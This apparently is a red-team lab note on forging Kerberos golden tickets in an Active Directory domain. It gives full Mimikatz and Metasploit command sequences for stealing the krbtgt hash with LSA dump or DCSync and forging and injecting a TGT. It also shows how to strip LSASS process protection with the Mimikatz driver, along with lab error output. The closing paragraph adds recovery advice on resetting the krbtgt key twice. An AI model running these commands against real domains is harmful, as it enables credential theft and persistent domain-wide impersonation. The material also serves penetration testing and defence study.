active directory · red team
Golden ticket (in short)
A golden ticket is a TGT we’ve made ourselves using the domain’s krbtgt key. The interesting part is that we don’t need the password of the user we’re pretending to be. We need the secret the domain controller uses to protect TGTs.
Commands:
privilege::debug
lsadump::lsa /inject /name:krbtgt
An alternate is to use dcsync:
lsadump::dcsync /user:krbtgt
Then, take that hash you just stole from a DC and use it to forge a TGT:
Kerberos::golden /user:{target-user} /domain:chadduffey.com /sid:{domain-sid} /krbtgt:{hash-you-stole} /ptt
You can inspect your work with:
Kerberos::list
Kerberos::tgt
Use it:
misc::cmd
Example: Note that we are still ‘todd’ whose account doesn’t have any special domain privileges, even after we inject the forged tgt into memory).
Also, while we are logged on as “todd” its worth looking at the tickets that are in memory on the machine:
In this capture, the RC4 TGT has no issuing domain controller shown: we forged it. The DC is then happy to give out service tickets because it accepts the TGT. The missing DC field is useful context for this example, but I wouldn’t use that field alone as a golden-ticket detector.
These are 2019 lab captures. The account information, ticket encryption and PAC validation requirements on a patched domain matter; a syntactically valid ticket isn’t a promise that every current KDC will accept it. Mimikatz documents the ticket parameters here, including the difference between /ptt (inject now) and /ticket (save to a file).
Alternate, use metasploit:
use kiwi
golden_ticket_create
kerberos_ticket_use
shell
A note about lsadump::lsa failing:
Depending on the system configuration, you might find that lsadump does not work for you right away. Protected LSASS is one possible cause of access denied; the error alone doesn’t establish that this is the cause. In the lab it looked like this:
mimikatz # privilege::debug
Privilege '20'
mimikatz # lsadump::lsa /inject /name:krbtgt
ERROR kuhl_m_lsadump_lsa_getHandle ; OpenProcess (0x00000005)
Domain : CHADDUFFEY / S-1-5-21-465565427-3215364919-2731916836
RID : 000001f6 (502)
User : krbtgt
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003
The workaround used in this lab was:
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 644
Example:
That depends on being able to load the Mimikatz driver. It isn’t a universal fix for protected LSASS on current Windows builds.
One recovery detail worth keeping with this note: resetting the impersonated user’s password doesn’t retire a stolen krbtgt key. AD keeps the current and previous krbtgt keys, which is why Microsoft’s recovery procedure calls for two resets, with replication and ticket lifetimes accounted for between them. Existing service tickets and sessions need consideration too; replacing the TGT key doesn’t reach into every running application and log it off. Microsoft’s reset procedure covers the timing.